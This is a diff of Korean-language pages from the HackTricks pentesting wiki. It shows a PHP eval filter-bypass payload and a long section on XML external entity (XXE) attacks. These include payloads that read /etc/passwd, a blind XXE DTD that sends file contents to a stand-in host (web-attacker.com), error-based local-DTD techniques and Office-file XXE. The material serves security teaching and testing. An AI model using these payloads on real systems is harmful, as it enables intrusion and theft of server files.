그래서, **숫자와 문자 없이 임의의 PHP를 실행**할 수 있다면, 다음과 같은 요청을 보내어 임의의 PHP를 실행하는 페이로드를 남용할 수 있습니다:
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
|
||||
```
|
||||
더 자세한 설명은 [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)를 확인하십시오.
|
||||
더 자세한 설명은 [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)를 확인하세요.
|
||||
|
||||
### XOR 셸코드 (eval 내부)
|
||||
```bash
|
||||
|
@ -408,16 +413,20 @@ $____.=$__;
|
|||
$_=$$____;
|
||||
$___($_[_]); // ASSERT($_POST[_]);
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 히어로까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)에서 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 기여하세요**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,19 +9,23 @@ HackTricks를 지원하는 다른 방법:
|
|||
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **당신의 해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## XML 기본 사항
|
||||
|
||||
XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 기술적으로 명명된 태그의 사용을 허용하는 유연한 구조를 갖추고 있습니다. 미리 정의된 태그 집합에 제한받지 않는 HTML과 다릅니다. JSON의 등장으로 XML의 중요성은 하락했지만, AJAX 기술에서 초기 역할을 한 바 있습니다.
|
||||
XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 기술적으로 명명된 태그의 사용을 허용하는 유연한 구조를 갖추고 있습니다. 미리 정의된 태그 집합에 제한받지 않는 HTML과 다릅니다. JSON의 등장으로 XML의 중요성은 감소했지만, AJAX 기술에서 초기 역할을 한 바 있습니다.
|
||||
|
||||
- **Entity를 통한 데이터 표현**: XML의 Entity는 `<`와 `>`에 해당하는 `<` 및 `>`와 같은 특수 문자를 포함하여 데이터를 표현할 수 있습니다. 이는 XML의 태그 시스템과 충돌을 피하기 위한 것입니다.
|
||||
- **XML 요소 정의**: XML은 요소 유형을 정의하여 요소가 어떻게 구성되어야 하는지 및 어떤 내용을 포함할 수 있는지를 개요화합니다. 어떤 유형의 내용에서부터 특정 자식 요소까지 다양한 내용을 포함할 수 있습니다.
|
||||
- **문서 유형 정의 (DTD)**: DTD는 문서의 구조와 포함할 수 있는 데이터 유형을 정의하는 데 XML에서 중요합니다. 내부, 외부 또는 조합일 수 있으며, 문서의 형식 및 유효성을 지정하는 데 도움을 줍니다.
|
||||
- **사용자 지정 및 외부 Entity**: XML은 유연한 데이터 표현을 위해 DTD 내에서 사용자 지정 Entity를 지원합니다. URL로 정의된 외부 Entity는 특히 XML External Entity (XXE) 공격 문맥에서 보안 문제를 일으키며, XML 파서가 외부 데이터 소스를 처리하는 방식을 악용합니다: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Entity를 통한 데이터 표현**: XML의 Entity는 `<`와 `>`에 해당하는 `<` 및 `>`와 같은 특수 문자를 포함한 데이터의 표현을 가능하게 합니다. 이는 XML의 태그 시스템과 충돌을 피하기 위한 것입니다.
|
||||
- **XML 요소 정의**: XML은 요소 유형을 정의하여 요소가 어떻게 구조화되어야 하는지 및 어떤 내용을 포함할 수 있는지를 개요화합니다. 어떤 유형의 내용에서부터 특정 자식 요소까지 다양한 내용을 포함할 수 있습니다.
|
||||
- **문서 유형 정의 (DTD)**: DTD는 문서의 구조 및 포함할 수 있는 데이터 유형을 정의하는 데 XML에서 중요합니다. 내부, 외부 또는 조합일 수 있으며, 문서의 형식 및 유효성을 지침합니다.
|
||||
- **사용자 지정 및 외부 Entity**: XML은 유연한 데이터 표현을 위해 DTD 내에서 사용자 지정 Entity를 지원합니다. URL로 정의된 외부 Entity는 XML 파서가 외부 데이터 소스를 처리하는 방식을 악용하는 XML External Entity (XXE) 공격과 관련된 보안 문제를 제기합니다: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **매개변수 Entity를 사용한 XXE 탐지**: 일반적인 방법이 파서 보안 조치로 인해 실패할 때 특히 XXE 취약점을 탐지하기 위해 XML 매개변수 Entity를 활용할 수 있습니다. 이러한 Entity를 사용하면 DNS 조회 또는 제어된 도메인으로의 HTTP 요청을 트리거하는 등의 외부 방식의 탐지 기술을 사용하여 취약점을 확인할 수 있습니다.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
@ -41,7 +45,7 @@ XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 기
|
|||
<storeId>1</storeId>
|
||||
</stockCheck>
|
||||
```
|
||||
![](<../.gitbook/assets/image (220).png>)
|
||||
![](<../.gitbook/assets/image (867).png>)
|
||||
|
||||
### 파일 읽기
|
||||
|
||||
|
@ -53,15 +57,13 @@ XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 기
|
|||
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
이 두 번째 경우는 웹 서버가 PHP를 사용하는 경우 파일을 추출하는 데 유용할 것입니다 (Portswiggers 랩의 경우가 아님)
|
||||
이 두 번째 경우는 웹 서버가 PHP를 사용하는 경우 파일을 추출하는 데 유용할 것입니다 (Portswiggers 랩의 경우가 아닙니다)
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
### Case 3: Declaring the Element as ANY
|
||||
|
||||
이 세 번째 경우에는 `Element stockCheck`을 `ANY`로 선언하고 있음을 주목하십시오.
|
||||
이 세 번째 경우에는 `Element stockCheck`을 ANY로 선언하고 있음을 주목하십시오.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE data [
|
||||
|
@ -73,11 +75,11 @@ XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 기
|
|||
<storeId>1</storeId>
|
||||
</stockCheck3>
|
||||
```
|
||||
![](<../.gitbook/assets/image (222) (1).png>)
|
||||
![](<../.gitbook/assets/image (750).png>)
|
||||
|
||||
### 디렉토리 목록
|
||||
|
||||
**Java** 기반 애플리케이션에서는 다음과 같은 페이로드를 사용하여 XXE를 통해 디렉토리 내용을 나열할 수 있습니다(파일 대신 디렉토리를 요청하는 것만 있음):
|
||||
**Java** 기반 애플리케이션에서는 다음과 같은 페이로드를 사용하여 XXE를 통해 디렉토리 내용을 나열할 수 있습니다(파일 대신 디렉토리를 요청하는 예시):
|
||||
```xml
|
||||
<!-- Root / -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||||
|
@ -95,17 +97,17 @@ XXE를 사용하여 클라우드 내부에서 SSRF를 악용할 수 있습니다
|
|||
```
|
||||
### Blind SSRF
|
||||
|
||||
**이전에 설명된 기술**을 사용하여 서버가 취약점을 보여주도록 제어할 수 있습니다. 그러나 작동하지 않는 경우 **XML 엔티티가 허용되지 않을 수 있습니다**. 이 경우 **XML 매개 변수 엔티티**를 사용해 볼 수 있습니다:
|
||||
**이전에 설명된 기술**을 사용하여 서버가 취약점을 보여주도록 제어할 수 있습니다. 그러나 작동하지 않는 경우, 아마도 **XML 엔티티가 허용되지 않기 때문**일 수 있습니다. 이 경우 **XML 매개 변수 엔티티**를 사용해 볼 수 있습니다:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
### "Blind" SSRF - 데이터 외부 전송
|
||||
### "Blind" SSRF - 데이터 외부로 유출하기
|
||||
|
||||
**이번에는 서버가 악성 페이로드가 포함된 새 DTD를 로드하도록하여 파일의 내용을 HTTP 요청을 통해 전송하게 만들 것입니다 (**여러 줄로 된 파일의 경우 [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)와 같은 기본 서버를 사용하여 _**ftp://**_를 통해 데이터를 외부로 유출할 수 있습니다)**. 이 설명은** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**를 기반으로 합니다.**
|
||||
**이번에는 서버가 악성 페이로드가 포함된 새 DTD를 로드하도록하여 파일의 내용을 HTTP 요청을 통해 전송하게 만들 것입니다 (**여러 줄로 된 파일의 경우 [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)와 같은 기본 서버를 사용하여 _**ftp://**_를 통해 데이터를 유출할 수 있습니다)**. 이 설명은** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**를 기반으로 합니다.**
|
||||
|
||||
악성 DTD에서 데이터를 외부로 전송하기 위해 일련의 단계가 수행됩니다:
|
||||
악성 DTD에서 데이터를 외부로 유출하기 위해 일련의 단계가 수행됩니다:
|
||||
|
||||
### 악성 DTD 예시:
|
||||
|
||||
|
@ -116,36 +118,37 @@ XXE를 사용하여 클라우드 내부에서 SSRF를 악용할 수 있습니다
|
|||
%eval;
|
||||
%exfiltrate;
|
||||
```
|
||||
이 DTD에 의해 실행되는 단계는 다음과 같습니다:
|
||||
|
||||
1. **매개 변수 엔티티 정의:**
|
||||
* XML 매개 변수 엔티티 `%file`가 생성되어 `/etc/hostname` 파일의 내용을 읽음.
|
||||
* 다른 XML 매개 변수 엔티티 `%eval`이 정의됨. 이는 새로운 XML 매개 변수 엔티티 `%exfiltrate`를 동적으로 선언함. `%exfiltrate` 엔티티는 `%file` 엔티티의 내용을 URL의 쿼리 문자열 내에서 전달하기 위해 공격자의 서버로 HTTP 요청을 수행함.
|
||||
|
||||
* XML 매개 변수 엔티티 `%file`이 생성되어 `/etc/hostname` 파일의 내용을 읽습니다.
|
||||
* 또 다른 XML 매개 변수 엔티티 `%eval`이 정의됩니다. 이는 새로운 XML 매개 변수 엔티티 `%exfiltrate`를 동적으로 선언합니다. `%exfiltrate` 엔티티는 `%file` 엔티티의 내용을 URL의 쿼리 문자열 내에서 공격자의 서버로 HTTP 요청하도록 설정됩니다.
|
||||
2. **엔티티 실행:**
|
||||
* `%eval` 엔티티가 사용되어 `%exfiltrate` 엔티티의 동적 선언이 실행됨.
|
||||
* 그런 다음 `%exfiltrate` 엔티티가 사용되어 파일 내용을 포함한 지정된 URL로 HTTP 요청이 트리거됨.
|
||||
* `%eval` 엔티티가 사용되어 `%exfiltrate` 엔티티의 동적 선언이 실행됩니다.
|
||||
* 그런 다음 `%exfiltrate` 엔티티가 사용되어 파일 내용과 함께 지정된 URL로 HTTP 요청이 트리거됩니다.
|
||||
|
||||
공격자는 이 악의적인 DTD를 일반적으로 `http://web-attacker.com/malicious.dtd`와 같은 URL에서 제어하는 서버에 호스팅함.
|
||||
공격자는 이 악의적인 DTD를 일반적으로 `http://web-attacker.com/malicious.dtd`와 같은 URL에서 제어하는 서버에 호스팅합니다.
|
||||
|
||||
**XXE 페이로드:** 취약한 애플리케이션을 악용하기 위해 공격자는 XXE 페이로드를 전송함:
|
||||
**XXE Payload:** 취약한 애플리케이션을 악용하기 위해 공격자는 XXE 페이로드를 전송합니다:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
이 payload는 XML 파서에서 처리될 때 악성 DTD에 포함된 XML 매개 변수 엔티티 `%xxe`를 정의합니다. 이 payload는 공격자의 서버에서 외부 DTD를 가져옵니다. 그럼 파서는 DTD를 인라인으로 해석하고, 악의적인 DTD에 기술된 단계를 실행하여 `/etc/hostname` 파일을 공격자의 서버로 유출시킵니다.
|
||||
이 payload는 XML 파서에 의해 처리될 때 공격자의 서버에서 외부 DTD를 가져오는 `%xxe` XML 매개 변수 엔터티를 정의하고 DTD 내에 통합합니다. 그럼 파서는 DTD를 인라인으로 해석하고, 악의적인 DTD에 기술된 단계를 실행하여 `/etc/hostname` 파일을 공격자의 서버로 유출시킵니다.
|
||||
|
||||
### 오류 기반(외부 DTD)
|
||||
|
||||
**이 경우에는 서버가 오류 메시지 내에서 파일 내용을 표시하는 악성 DTD를 로드하도록 만들 것입니다 (오류 메시지를 볼 수 있는 경우에만 유효합니다).** [**여기에서 예제를 확인하세요.**](https://portswigger.net/web-security/xxe/blind)
|
||||
**이 경우에는 서버가 오류 메시지 내에서 파일 내용을 표시하는 악의적인 DTD를 로드하도록 만들 것입니다 (오류 메시지를 볼 수 있는 경우에만 유효함).** [**여기에서 예제를 확인하세요.**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
악성 외부 Document Type Definition (DTD)를 사용하여 `/etc/passwd` 파일의 내용을 드러내는 XML 파싱 오류 메시지를 유발할 수 있습니다. 이는 다음 단계를 통해 수행됩니다:
|
||||
악의적인 외부 Document Type Definition (DTD)를 사용하여 `/etc/passwd` 파일의 내용을 공개하는 XML 구문 분석 오류 메시지를 유발할 수 있습니다. 이는 다음 단계를 통해 수행됩니다:
|
||||
|
||||
1. `/etc/passwd` 파일의 내용을 포함하는 `file`라는 XML 매개 변수 엔티티가 정의됩니다.
|
||||
2. `eval`이라는 XML 매개 변수 엔티티가 정의되며, `error`라는 다른 XML 매개 변수 엔티티에 대한 동적 선언이 포함됩니다. 이 `error` 엔티티는 평가될 때, 존재하지 않는 파일을 로드하려고 시도하며, 그 이름으로 `file` 엔티티의 내용을 포함합니다.
|
||||
3. `eval` 엔티티가 호출되어 `error` 엔티티가 동적으로 선언됩니다.
|
||||
4. `error` 엔티티의 호출로 인해 존재하지 않는 파일을 로드하려는 시도가 발생하며, `/etc/passwd` 파일의 내용이 파일 이름의 일부로 포함된 오류 메시지가 생성됩니다.
|
||||
1. `/etc/passwd` 파일의 내용을 포함하는 `file`라는 XML 매개 변수 엔터티가 정의됩니다.
|
||||
2. `eval`이라는 XML 매개 변수 엔터티가 정의되며, `error`라는 다른 XML 매개 변수 엔터티에 대한 동적 선언이 포함됩니다. 이 `error` 엔터티는 평가될 때, 존재하지 않는 파일을 로드하려고 시도하며, 그 이름으로 `file` 엔터티의 내용을 포함합니다.
|
||||
3. `eval` 엔터티가 호출되어 `error` 엔터티가 동적으로 선언됩니다.
|
||||
4. `error` 엔터티의 호출로 인해 존재하지 않는 파일을 로드하려는 시도가 발생하며, `/etc/passwd` 파일의 내용이 파일 이름의 일부로 포함된 오류 메시지가 생성됩니다.
|
||||
|
||||
다음 XML로 악성 외부 DTD를 호출할 수 있습니다:
|
||||
다음 XML로 악의적인 외부 DTD를 호출할 수 있습니다:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
|
@ -155,9 +158,9 @@ XXE를 사용하여 클라우드 내부에서 SSRF를 악용할 수 있습니다
|
|||
|
||||
따라서 **외부 연결이 차단된 경우** 블라인드 XXE 취약점은 어떻게 될까요?
|
||||
|
||||
XML 언어 사양의 한 가지 약점은 **문서의 DTD가 내부 및 외부 선언을 혼합할 때 에러 메시지를 통해 민감한 데이터가 노출**될 수 있다는 것입니다. 이 문제는 외부 DTD를 통해 선언된 엔티티를 내부적으로 재정의하여 에러 기반 XXE 공격을 실행할 수 있도록 합니다. 이러한 공격은 외부 DTD에서 원래 선언된 XML 매개변수 엔티티를 내부 DTD 내에서 재정의함으로써 이루어집니다. 서버에서 외부 연결이 차단된 경우, 공격자는 공격을 수행하기 위해 로컬 DTD 파일에 의존해야 하며, 민감한 정보를 노출시키기 위해 구문 분석 오류를 유발해야 합니다.
|
||||
XML 언어 사양의 한 가지 약점은 **문서의 DTD가 내부 및 외부 선언을 혼합할 때 에러 메시지를 통해 민감한 데이터를 노출**할 수 있다는 것입니다. 이 문제는 외부 DTD를 사용하여 선언된 엔티티를 내부적으로 재정의함으로써 에러 기반 XXE 공격을 실행할 수 있게 합니다. 이러한 공격은 외부 DTD에서 원래 선언된 XML 매개변수 엔티티를 내부 DTD 내에서 재정의하는 것을 이용합니다. 서버에서 외부 연결이 차단된 경우, 공격자는 공격을 수행하기 위해 로컬 DTD 파일에 의존해야 하며, 파싱 오류를 유발하여 민감한 정보를 노출시키려고 합니다.
|
||||
|
||||
서버의 파일 시스템에 `/usr/local/app/schema.dtd` 경로에 DTD 파일이 포함되어 있고, `custom_entity`라는 엔티티를 정의하는 경우, 공격자는 다음과 같이 하이브리드 DTD를 제출하여 `/etc/passwd` 파일의 내용을 노출시키는 XML 구문 분석 오류를 유발할 수 있습니다:
|
||||
서버의 파일 시스템에 `/usr/local/app/schema.dtd` 경로에 DTD 파일이 포함되어 있고 `custom_entity`라는 엔티티를 정의하는 경우, 공격자는 다음과 같이 하이브리드 DTD를 제출하여 `/etc/passwd` 파일의 내용을 노출시키는 XML 파싱 오류를 유발시킬 수 있습니다:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||||
|
@ -172,11 +175,11 @@ XML 언어 사양의 한 가지 약점은 **문서의 DTD가 내부 및 외부
|
|||
```
|
||||
다음은이 DTD에 의해 실행되는 단계입니다:
|
||||
|
||||
* 서버 파일 시스템에 위치한 외부 DTD 파일을 포함하는 XML 매개 변수 엔터티 'local_dtd'의 정의가 포함됩니다.
|
||||
* 'custom_entity' XML 매개 변수 엔터티에 대한 재정의가 발생하며, 원래 외부 DTD에 정의된 내용을 캡슐화하여 [오류 기반 XXE 공격](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)을 수행합니다. 이 재정의는 구문 분석 오류를 유발하여 '/etc/passwd' 파일의 내용을 노출시킵니다.
|
||||
* 'local_dtd' 엔터티를 사용하여 외부 DTD가 참여되며, 새로 정의된 'custom_entity'가 포함됩니다. 이러한 작업 순서는 공격에 의해 목표로 하는 오류 메시지의 발생을 촉발시킵니다.
|
||||
* `local_dtd`라는 XML 매개 변수 엔터티의 정의에는 서버 파일 시스템에 위치한 외부 DTD 파일이 포함됩니다.
|
||||
* `custom_entity` XML 매개 변수 엔터티에 대한 재정의가 발생하며, 원래 외부 DTD에서 정의되었으며 [오류 기반 XXE 공격](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)을 캡슐화합니다. 이 재정의는 구문 분석 오류를 유발하여 `/etc/passwd` 파일의 내용을 노출시키도록 설계되었습니다.
|
||||
* `local_dtd` 엔터티를 사용하여 외부 DTD가 참여되어 새로 정의된 `custom_entity`가 포함됩니다. 이러한 일련의 작업은 공격에서 목표로 하는 오류 메시지의 발생을 촉발시킵니다.
|
||||
|
||||
**실제 예시:** GNOME 데스크톱 환경을 사용하는 시스템은 종종 '/usr/share/yelp/dtd/docbookx.dtd'에 위치한 DTD를 포함하며 'ISOamso'라는 엔터티를 포함합니다.
|
||||
**실제 예시:** GNOME 데스크톱 환경을 사용하는 시스템은 종종 `/usr/share/yelp/dtd/docbookx.dtd`에 위치한 DTD를 포함하며 `ISOamso`라는 엔터티를 포함합니다.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
|
@ -191,7 +194,7 @@ XML 언어 사양의 한 가지 약점은 **문서의 DTD가 내부 및 외부
|
|||
]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
이 기술은 내부 DTD를 사용하므로 먼저 유효한 DTD를 찾아야 합니다. 이를 위해 서버가 사용 중인 OS/소프트웨어를 설치하고 기본 DTD 목록을 찾거나 시스템 내부의 기본 DTD 목록을 가져와 해당하는 것이 있는지 확인할 수 있습니다:
|
||||
이 기술은 내부 DTD를 사용하므로 먼저 유효한 DTD를 찾아야합니다. 이를 위해 서버가 사용하는 동일한 OS/소프트웨어를 설치하고 기본 DTD 목록을 찾아보거나 시스템 내부의 기본 DTD 목록을 가져와 해당하는 것이 있는지 확인할 수 있습니다:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
|
@ -200,13 +203,13 @@ XML 언어 사양의 한 가지 약점은 **문서의 DTD가 내부 및 외부
|
|||
```
|
||||
더 많은 정보는 [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)에서 확인하세요.
|
||||
|
||||
### 시스템 내부의 DTD 찾기
|
||||
### 시스템 내부에서 DTD 찾기
|
||||
|
||||
다음의 멋진 github 레포지토리에서 **시스템에 존재할 수 있는 DTD의 경로**를 찾을 수 있습니다:
|
||||
다음 놀라운 github 레포지토리에서 **시스템에 존재할 수 있는 DTD의 경로**를 찾을 수 있습니다:
|
||||
|
||||
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
|
||||
|
||||
게다가, **피해 시스템의 Docker 이미지**가 있다면, 동일한 레포지토리의 도구를 사용하여 **이미지를 스캔**하고 시스템 내부에 존재하는 **DTD의 경로를 찾을 수** 있습니다. 자세한 내용은 [github의 Readme](https://github.com/GoSecure/dtd-finder)를 참조하세요.
|
||||
또한, **피해 시스템의 Docker 이미지**가 있다면, 동일한 레포지토리의 도구를 사용하여 **이미지를 스캔**하고 시스템 내부에 존재하는 **DTD의 경로를 찾을 수** 있습니다. 자세한 내용은 [github의 Readme](https://github.com/GoSecure/dtd-finder)를 참조하세요.
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
|
@ -222,11 +225,11 @@ Testing 0 entities : []
|
|||
|
||||
이 공격에 대한 더 자세한 설명은 [Detectify의 이 놀라운 포스트](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)의 두 번째 섹션을 확인하십시오.
|
||||
|
||||
많은 웹 애플리케이션이 **Microsoft Office 문서를 업로드할 수 있는 기능을 제공**하며, 이후 이러한 문서에서 특정 세부 정보를 추출합니다. 예를 들어, 웹 애플리케이션이 사용자가 XLSX 형식의 스프레드시트를 업로드하여 데이터를 가져오도록 허용할 수 있습니다. 파서가 스프레드시트에서 데이터를 추출하려면 적어도 하나의 XML 파일을 파싱해야 할 것입니다.
|
||||
많은 웹 애플리케이션이 **Microsoft Office 문서를 업로드할 수 있는 기능을 제공**하며, 이후 이러한 문서에서 특정 세부 정보를 추출합니다. 예를 들어, 웹 애플리케이션은 사용자가 XLSX 형식의 스프레드시트를 업로드하여 데이터를 가져올 수 있게 할 수 있습니다. 파서가 스프레드시트에서 데이터를 추출하려면 적어도 하나의 XML 파일을 파싱해야 할 것입니다.
|
||||
|
||||
이 취약점을 테스트하려면 **XXE 페이로드가 포함된 Microsoft Office 파일을 생성**해야 합니다. 첫 번째 단계는 문서를 압축 해제할 수 있는 빈 디렉토리를 생성하는 것입니다.
|
||||
|
||||
문서를 압축 해제한 후 `./unzipped/word/document.xml`에 위치한 XML 파일을 선호하는 텍스트 편집기(예: vim)에서 열고 편집해야 합니다. XML을 수정하여 원하는 XXE 페이로드를 포함해야 합니다. 이는 종종 HTTP 요청으로 시작합니다.
|
||||
문서를 압축 해제한 후, `./unzipped/word/document.xml`에 위치한 XML 파일을 선호하는 텍스트 편집기(예: vim)에서 열고 편집해야 합니다. XML을 수정하여 원하는 XXE 페이로드를 포함해야 합니다. 이는 종종 HTTP 요청으로 시작합니다.
|
||||
|
||||
수정된 XML 라인은 두 개의 루트 XML 객체 사이에 삽입되어야 합니다. 요청을 모니터링할 수 있는 URL로 URL을 교체하는 것이 중요합니다.
|
||||
|
||||
|
@ -242,18 +245,18 @@ jar:file:///var/myarchive.zip!/file.txt
|
|||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
PKZIP 파일 내부의 파일에 액세스할 수 있는 것은 **시스템 DTD 파일을 통해 XXE를 남용하는 데 매우 유용합니다.** [이 섹션을 확인하여 시스템 DTD 파일을 남용하는 방법을 배우세요](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
PKZIP 파일 내부의 파일에 액세스할 수 있는 것은 **시스템 DTD 파일을 통해 XXE를 남용하는 데 매우 유용합니다.** [시스템 DTD 파일을 남용하는 방법을 배우려면 이 섹션을 확인하십시오](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
{% endhint %}
|
||||
|
||||
jar 프로토콜을 통해 PKZIP 아카이브 내의 파일에 액세스하는 과정은 다음과 같은 단계를 거칩니다:
|
||||
jar 프로토콜을 통해 PKZIP 아카이브 내의 파일에 액세스하는 과정은 다음과 같은 단계로 이루어집니다:
|
||||
|
||||
1. 지정된 위치에서 zip 아카이브를 다운로드하기 위해 HTTP 요청이 수행됩니다. 예: `https://download.website.com/archive.zip`.
|
||||
2. 아카이브를 포함한 HTTP 응답이 일시적으로 시스템에 저장됩니다. 일반적으로 `/tmp/...`과 같은 위치에 저장됩니다.
|
||||
2. 아카이브를 포함하는 HTTP 응답이 일시적으로 시스템에 저장됩니다. 일반적으로 `/tmp/...`과 같은 위치에 저장됩니다.
|
||||
3. 아카이브는 추출되어 내용에 액세스됩니다.
|
||||
4. 아카이브 내의 특정 파일, `file.zip`,이 읽힙니다.
|
||||
5. 이 과정 중에 생성된 임시 파일은 삭제됩니다.
|
||||
4. 아카이브 내의 특정 파일인 `file.zip`이 읽힙니다.
|
||||
5. 이 작업 후, 이 프로세스 중에 생성된 모든 일시적 파일이 삭제됩니다.
|
||||
|
||||
